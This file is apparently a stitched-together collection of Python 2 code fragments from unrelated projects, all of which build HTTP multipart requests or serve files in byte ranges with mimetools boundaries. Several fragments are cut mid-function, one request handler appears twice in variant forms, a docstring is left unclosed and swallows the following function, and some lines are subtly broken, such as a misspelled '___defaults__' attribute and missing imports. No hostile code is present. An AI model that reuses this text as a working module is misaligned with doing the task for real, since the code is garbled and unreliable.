# You should have received a copy of the GNU General Public License # along with X4GA. If not, see <http://www.gnu.org/licenses/>. # ------------------------------------------------------------------------------ import mimetools, mimetypes import urllib import urllib2 import httplib import time import string import base64 import Env CRLF = '\r\n' BOUNDARY = mimetools.choose_boundary() # The following are used for authentication functions. FOLLOWUP_HOST = 'www.google.com/cloudprint' FOLLOWUP_URI = 'select%2Fgaiaauth' GAIA_HOST = 'www.google.com' LOGIN_URI = '/accounts/ServiceLoginAuth' LOGIN_URL = 'https://www.google.com/accounts/ClientLogin' SERVICE = 'cloudprint' OAUTH = 'This_should_contain_oauth_string_for_your_username' # The following are used for general backend access. CLOUDPRINT_URL = 'http://www.google.com/cloudprint' # CLIENT_NAME should be some string identifier for the client you are writing. CLIENT_NAME = 'Cloud Print API Client'
def do_open(self, http_class, req):
data = req.get_data()
v_files = []
v_vars = []
# mapping object (dict)
if req.has_data() and not isinstance(data, str):
if hasattr(data, 'items'):
data = data.items()
else:
try:
if len(data) and not isinstance(data[0], tuple):
raise TypeError
except TypeError:
ty, va, tb = sys.exc_info()
raise TypeError, "not a valid non-string sequence or mapping object", tb
for (k, v) in data:
if hasattr(v, 'read'):
v_files.append((k, v))
else:
v_vars.append((k, v))
# no file ? convert to string
if len(v_vars) > 0 and len(v_files) == 0:
data = urllib.urlencode(v_vars)
v_files = []
v_vars = []
host = req.get_host()
if not host:
raise urllib2.URLError('no host given')
h = http_class(host) # will parse host:port
if req.has_data():
h.putrequest('POST', req.get_selector())
if 'Content-type' not in req.headers:
if len(v_files) > 0:
boundary = mimetools.choose_boundary()
l = send_data(v_vars, v_files, boundary)
h.putheader('Content-Type',
'multipart/form-data; boundary=%s' % boundary)
h.putheader('Content-length', str(l))
else:
h.putheader('Content-type',
'application/x-www-form-urlencoded')
if 'Content-length' not in req.headers:
h.putheader('Content-length', '%d' % len(data))
else:
h.putrequest('GET', req.get_selector())
scheme, sel = urllib.splittype(req.get_selector())
sel_host, sel_path = urllib.splithost(sel)
h.putheader('Host', sel_host or host)
for name, value in self.parent.addheaders:
name = name.capitalize()
if name not in req.headers:
h.putheader(name, value)
for k, v in req.headers.items():
h.putheader(k, v)
# httplib will attempt to connect() here. be prepared
# to convert a socket error to a URLError.
try:
h.endheaders()
except socket.error as err:
raise urllib2.URLError(err)
if req.has_data():
print v_files
if len(v_files) > 0:
l = send_data(v_vars, v_files, boundary, h)
elif len(v_vars) > 0:
# if data is passed as dict ...
data = urllib.urlencode(v_vars)
h.send(data)
else:
# "normal" urllib2.urlopen()
h.send(data)
code, msg, hdrs = h.getreply()
fp = h.getfile()
if code == 200:
resp = urllib.addinfourl(fp, hdrs, req.get_full_url())
resp.code = code
resp.msg = msg
return resp
else:
return self.parent.error('http', req, fp, code, msg, hdrs)
def do_open(self, http_class, req):
data = req.get_data()
v_files = []
v_vars = []
# mapping object (dict)
if req.has_data() and type(data) != str:
if hasattr(data, u'items'): #$NON-NLS-1$
data = data.items()
else:
try:
if len(data) and not isinstance(data[0], tuple):
raise TypeError
except TypeError:
ty, va, tb = sys.exc_info() #@UnusedVariable
raise TypeError, u"not a valid non-string sequence or mapping object", tb #$NON-NLS-1$
for (k, v) in data:
if hasattr(v, u'read'): #$NON-NLS-1$
v_files.append((k, v))
else:
v_vars.append((k, v))
# no file ? convert to string
if len(v_vars) > 0 and len(v_files) == 0:
data = urllib.urlencode(v_vars)
v_files = []
v_vars = []
host = req.get_host()
if not host:
raise urllib2.URLError(u'no host given') #$NON-NLS-1$
h = http_class(host) # will parse host:port
if req.has_data():
h.putrequest(u'POST', req.get_selector()) #$NON-NLS-1$
if not u'Content-type' in req.headers: #$NON-NLS-1$
if len(v_files) > 0:
boundary = mimetools.choose_boundary()
l = send_data(v_vars, v_files, boundary)
h.putheader(
u'Content-Type', #$NON-NLS-1$
u'multipart/form-data; boundary=%s' %
boundary) #$NON-NLS-1$
h.putheader(u'Content-length', str(l)) #$NON-NLS-1$
else:
h.putheader(
u'Content-type', #$NON-NLS-1$
u'application/x-www-form-urlencoded') #$NON-NLS-1$
if not u'Content-length' in req.headers: #$NON-NLS-1$
h.putheader(u'Content-length', u'%d' %
len(data)) #$NON-NLS-2$ #$NON-NLS-1$
else:
h.putrequest(u'GET', req.get_selector()) #$NON-NLS-1$
scheme, sel = urllib.splittype(req.get_selector()) #@UnusedVariable
sel_host, sel_path = urllib.splithost(sel) #@UnusedVariable
h.putheader(u'Host', sel_host or host) #$NON-NLS-1$
for name, value in self.parent.addheaders:
name = name.capitalize()
if name not in req.headers:
h.putheader(name, value)
for k, v in req.headers.items():
h.putheader(k, v)
# httplib will attempt to connect() here. be prepared
# to convert a socket error to a URLError.
try:
h.endheaders()
except socket.error, err:
raise urllib2.URLError(err)
def boundary(self):
if not self._boundary:
self._boundary = mimetools.choose_boundary()
return self._boundary
def __init__(self, file_disposition="file"):
self.file_disposition = file_disposition
self.form_fields = []
self.files = []
self.boundary = mimetools.choose_boundary()
return
def startmultipartbody(self, subtype, boundary=None, plist=[], prefix=1):
self._boundary = boundary or mimetools.choose_boundary()
return self.startbody("multipart/" + subtype,
[("boundary", self._boundary)] + plist,
prefix=prefix)
def get_boundary():
m = hashlib.md5()
m.update(mimetools.choose_boundary())
return m.hexdigest()
def test_boundary(self):
s = set([""])
for i in range(100):
nb = mimetools.choose_boundary()
self.assertNotIn(nb, s)
s.add(nb)
def serve_raw_file(self,
file,
content_type=None,
disposition=None,
name=None):
# Adapted from CherryPy's serve_file(), modified to work with file-like
# objects
response = cherrypy.response
st = None
if isinstance(file, str):
path = file
if not os.path.isabs(path):
raise ValueError("'%s' is not an absolute path." % path)
try:
st = os.stat(path)
except OSError:
raise cherrypy.NotFound()
if stat.S_ISDIR(st.st_mode):
raise cherrypy.NotFound()
response.headers['Last-Modified'] = httputil.HTTPDate(st.st_mtime)
cptools.validate_since()
file = open(path, "rb")
else:
path = getattr(file, "name", None)
if path:
try:
st = os.stat(path)
except OSError:
pass
else:
if not hasattr(file, "read"):
raise ValueError(
"Expected a file-like object, got %r instead "
"(object has no read() method)" % file)
if not hasattr(file, "seek"):
raise ValueError("Can't serve file-like object %r "
"(object has no seek() method)" % file)
if not hasattr(file, "tell"):
raise ValueError("Can't serve file-like object %r "
"(object has no tell() method)" % file)
# Set the content type
if content_type is None:
if path:
content_type = mimetypes.guess_type(path)[0]
if not content_type:
content_type = "text/plain"
response.headers["Content-Type"] = content_type
# Set the content disposition
if disposition is not None:
cd = disposition
if not name and path:
name = os.path.basename(path)
if name:
cd = rfc6266.build_header(name, cd)
response.headers["Content-Disposition"] = cd
if self.use_xsendfile and path:
response.headers["X-Sendfile"] = path
return ""
# Find the size of the file
if st is None:
start = file.tell()
file.seek(0, 2) # Move to the end of the file
c_len = file.tell() - start
file.seek(start)
else:
c_len = st.st_size
# HTTP/1.0 didn't have Range/Accept-Ranges headers, or the 206 code
if cherrypy.request.protocol >= (1, 1):
response.headers["Accept-Ranges"] = "bytes"
r = httputil.get_ranges(cherrypy.request.headers.get('Range'),
c_len)
if r == []:
response.headers['Content-Range'] = "bytes */%s" % c_len
message = "Invalid Range (first-byte-pos greater than Content-Length)"
raise cherrypy.HTTPError(416, message)
if r:
if len(r) == 1:
# Return a single-part response.
start, stop = r[0]
if stop > c_len:
stop = c_len
r_len = stop - start
response.status = "206 Partial Content"
response.headers['Content-Range'] = (
"bytes %s-%s/%s" % (start, stop - 1, c_len))
response.headers['Content-Length'] = r_len
file.seek(start)
response.body = file_generator_limited(file, r_len)
else:
# Return a multipart/byteranges response.
response.status = "206 Partial Content"
import mimetools
boundary = mimetools.choose_boundary()
ct = "multipart/byteranges; boundary=%s" % boundary
response.headers['Content-Type'] = ct
if "Content-Length" in response.headers:
# Delete Content-Length header so finalize() recalcs it.
del response.headers["Content-Length"]
def file_ranges():
# Apache compatibility:
yield "\r\n"
for start, stop in r:
yield "--" + boundary
yield "\r\nContent-type: %s" % content_type
yield (
"\r\nContent-range: bytes %s-%s/%s\r\n\r\n" %
(start, stop - 1, c_len))
file.seek(start)
for chunk in file_generator_limited(
file, stop - start):
yield chunk
yield "\r\n"
# Final boundary
yield "--" + boundary + "--"
# Apache compatibility:
yield "\r\n"
response.body = file_ranges()
else:
response.headers['Content-Length'] = c_len
response.body = file
else:
response.headers['Content-Length'] = c_len
response.body = file
return response.body
def serve_file(request, response, path, type=None, disposition=None, name=None):
"""Set status, headers, and body in order to serve the given file.
The Content-Type header will be set to the type arg, if provided.
If not provided, the Content-Type will be guessed by the file extension
of the 'path' argument.
If disposition is not None, the Content-Disposition header will be set
to "<disposition>; filename=<name>". If name is None, it will be set
to the basename of path. If disposition is None, no Content-Disposition
header will be written.
"""
if not os.path.isabs(path):
raise ValueError("'%s' is not an absolute path." % path)
try:
st = os.stat(path)
except OSError:
return NotFound(request, response)
# Check if path is a directory.
if stat.S_ISDIR(st.st_mode):
# Let the caller deal with it as they like.
return NotFound(request, response)
# Set the Last-Modified response header, so that
# modified-since validation code can work.
response.headers['Last-Modified'] = formatdate(st.st_mtime)
validate_since(request, response)
if type is None:
# Set content-type based on filename extension
ext = ""
i = path.rfind('.')
if i != -1:
ext = path[i:].lower()
type = mimetypes.types_map.get(ext, "text/plain")
response.headers['Content-Type'] = type
if disposition is not None:
if name is None:
name = os.path.basename(path)
cd = '%s; filename="%s"' % (disposition, name)
response.headers["Content-Disposition"] = cd
# Set Content-Length and use an iterable (file object)
# this way CP won't load the whole file in memory
c_len = st.st_size
bodyfile = open(path, 'rb')
# HTTP/1.0 didn't have Range/Accept-Ranges headers, or the 206 code
if request.protocol >= (1, 1):
response.headers["Accept-Ranges"] = "bytes"
r = get_ranges(request.headers.get('Range'), c_len)
if r == []:
response.headers['Content-Range'] = "bytes */%s" % c_len
message = "Invalid Range (first-byte-pos greater than Content-Length)"
return HTTPError(request, response, 416, message)
if r:
if len(r) == 1:
# Return a single-part response.
start, stop = r[0]
r_len = stop - start
response.status = "206 Partial Content"
response.headers['Content-Range'] = ("bytes %s-%s/%s" %
(start, stop - 1, c_len))
response.headers['Content-Length'] = r_len
bodyfile.seek(start)
response.body = bodyfile.read(r_len)
else:
# Return a multipart/byteranges response.
response.status = "206 Partial Content"
boundary = mimetools.choose_boundary()
ct = "multipart/byteranges; boundary=%s" % boundary
response.headers['Content-Type'] = ct
if response.headers.has_key("Content-Length"):
# Delete Content-Length header so finalize() recalcs it.
del response.headers["Content-Length"]
def file_ranges():
# Apache compatibility:
yield "\r\n"
for start, stop in r:
yield "--" + boundary
yield "\r\nContent-type: %s" % type
yield ("\r\nContent-range: bytes %s-%s/%s\r\n\r\n"
% (start, stop - 1, c_len))
bodyfile.seek(start)
yield bodyfile.read(stop - start)
yield "\r\n"
# Final boundary
yield "--" + boundary + "--"
# Apache compatibility:
yield "\r\n"
response.body = file_ranges()
else:
response.headers['Content-Length'] = c_len
response.body = bodyfile
else:
response.headers['Content-Length'] = c_len
response.body = bodyfile
return response
class RequestProcessor(object):
"""
Processes base requests: POST (application/x-www-form-urlencoded and multipart/form-data) and GET.
"""
headers = {
"User-agent": "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:21.0)"
" Gecko/20130309 Firefox/21.0",
"Accept-Language": "ru-RU, utf-8"
}
boundary = mimetools.choose_boundary()
def __init__(self):
self.cookieJar = cookielib.CookieJar()
cookieProcessor = urllib2.HTTPCookieProcessor(self.cookieJar)
self.open = urllib2.build_opener(cookieProcessor).open
self.open.__func__.___defaults__ = (None, SOCKET_TIMEOUT)
def getCookie(self, name):
"""
Gets cookie from cookieJar
"""
for cookie in self.cookieJar:
if cookie.name == name:
return cookie.value
def multipart(self, key, name, ctype, data):
"""
Makes multipart/form-data encoding
Parameters:
key: a form key (is there a form?)
name: file name
ctype: Content-Type
data: just data you want to send
"""
start = ["--" + self.boundary, "Content-Disposition: form-data; name=\"%s\"; filename=\"%s\"" % (key, name), \
"Content-Type: %s" % ctype, "", ""] ## We already have content type so maybe we shouldn't detect it
end = ["", "--" + self.boundary + "--", ""]
start = "\n".join(start)
end = "\n".join(end)
data = start + data + end
return data
def request(self, url, data=None, headers=None, urlencode=True):
"""
Makes a http(s) request
Parameters:
url: a request url
data: a request data
headers: a request headers (if not set, self.headers will be used)
urlencode: urlencode flag
"""
headers = headers or self.headers
if data and urlencode:
headers[
"Content-Type"] = "application/x-www-form-urlencoded; charset=UTF-8"
data = urllib.urlencode(data)
else:
headers[
"Content-Type"] = "multipart/form-data; boundary=%s" % self.boundary
request = urllib2.Request(url, data, headers)
return request
@attemptTo(REQUEST_RETRIES, tuple, urllib2.URLError, ssl.SSLError,
httplib.BadStatusLine)
def post(self, url, data="", urlencode=True):
"""
POST request
"""
resp = self.open(self.request(url, data, urlencode=urlencode))
body = resp.read()
return (body, resp)
@attemptTo(REQUEST_RETRIES, tuple, urllib2.URLError, ssl.SSLError,
httplib.BadStatusLine)
def get(self, url, query={}):
"""
GET request
"""
if query:
url += "?%s" % urllib.urlencode(query)
resp = self.open(self.request(url))
body = resp.read()
return (body, resp)
## todo: move getOpener the hell out of here
@attemptTo(REQUEST_RETRIES, tuple, socket.gaierror, socket.timeout)
def getOpener(self, url, query={}):
"""
Opens a connection to url and returns AsyncHTTPRequest() object
"""
if query:
url += "?%s" % urllib.urlencode(query)
return AsyncHTTPRequest(url).open()
"""Generic MIME writer.
def post(url,
addheaders=None,
authstr='',
body='',
parameters='',
filename='',
function='',
xmlns='',
soapargs=None,
debug=False):
'''
Executes an HTTP POST call against a web server. Supports queries from
form data, file upload, and SOAP calls.
Arguments:
url - The network location.
Options:
Query with form data:
parameters - An un-encoded query string, e.g: "n1=v1&n2=v2"
File upload:
filename - An existing absolute or relative file path.
Beware of large files, entire file loaded into mem.
For a SOAP POST, use these options:
function - Name of the remote function to append. (req)
xmlns - XML namespace string (req)
soapargs - A list of dictionaries/objects to convert to XML.
Generic POST:
addheaders - List of (name, value) tuples to include as headers.
authstr - String to encode for HTTP Basic authentication,
e.g.: '<username>:<password>'
body - Data to send. Do not use with SOAP, query, or
file upload options in the previous section.
debug - Enable to log verbose transport information.
Returns:
status, reason, body, ctype - tuple
'''
# check parameters
if addheaders is None: addheaders = []
if soapargs is None: soapargs = []
if function or xmlns or soapargs: # posting a SOAP msg
if not function or not xmlns:
raise TypeError, 'function and xmlns required with a SOAP POST.'
if filename or parameters or body:
raise TypeError, 'filename, parameters, body not allowed with SOAP.'
addheaders.append(('SOAPAction', function))
addheaders.append(('Content-Type', 'text/xml; charset=UTF-8'))
argtext = ''
for arg in soapargs:
argtext += dict2xml(arg)
argtext = argtext.strip()
body = soap_envelope % locals()
elif parameters: # posting form data/query
if filename or body:
raise TypeError, 'filename, parameters, body not allowed together.'
addheaders.append(
('Content-Type', 'application/x-www-form-urlencoded'))
body = urllib.urlencode(parameters)
elif filename: # posting a file upload
if parameters or body:
raise TypeError, 'filename, parameters, body not allowed together.'
import mimetools, mimetypes # build mime headers
boundstr = mimetools.choose_boundary()
bname = os.path.basename(filename)
dataf = file(filename, 'rb') # throws IOError if issue
pre = '--%s\r\n' % boundstr
pre += 'Content-Disposition: form-data; filename="%s"\r\n' % bname
pre += 'Content-Transfer-Encoding: binary\r\n'
pre += 'Content-Type: %s\r\n\r\n' % (mimetypes.guess_type(filename)[0]
or 'application/octet-stream')
post = '\r\n--%s--\r\n\r\n' % boundstr
body = [pre, dataf, post]
clen = 0 # figure out content length
for item in body:
if type(item) is file: clen += os.path.getsize(item.name)
else: clen += len(item)
addheaders.append(('Content-Length', str(clen)))
addheaders.append(
('Content-Type', 'multipart/form-data; boundary=%s' % boundstr))
# else generic post
response = _http_call('POST', url, addheaders, authstr, body, debug)
if locals().get('dataf'): dataf.close()
return response
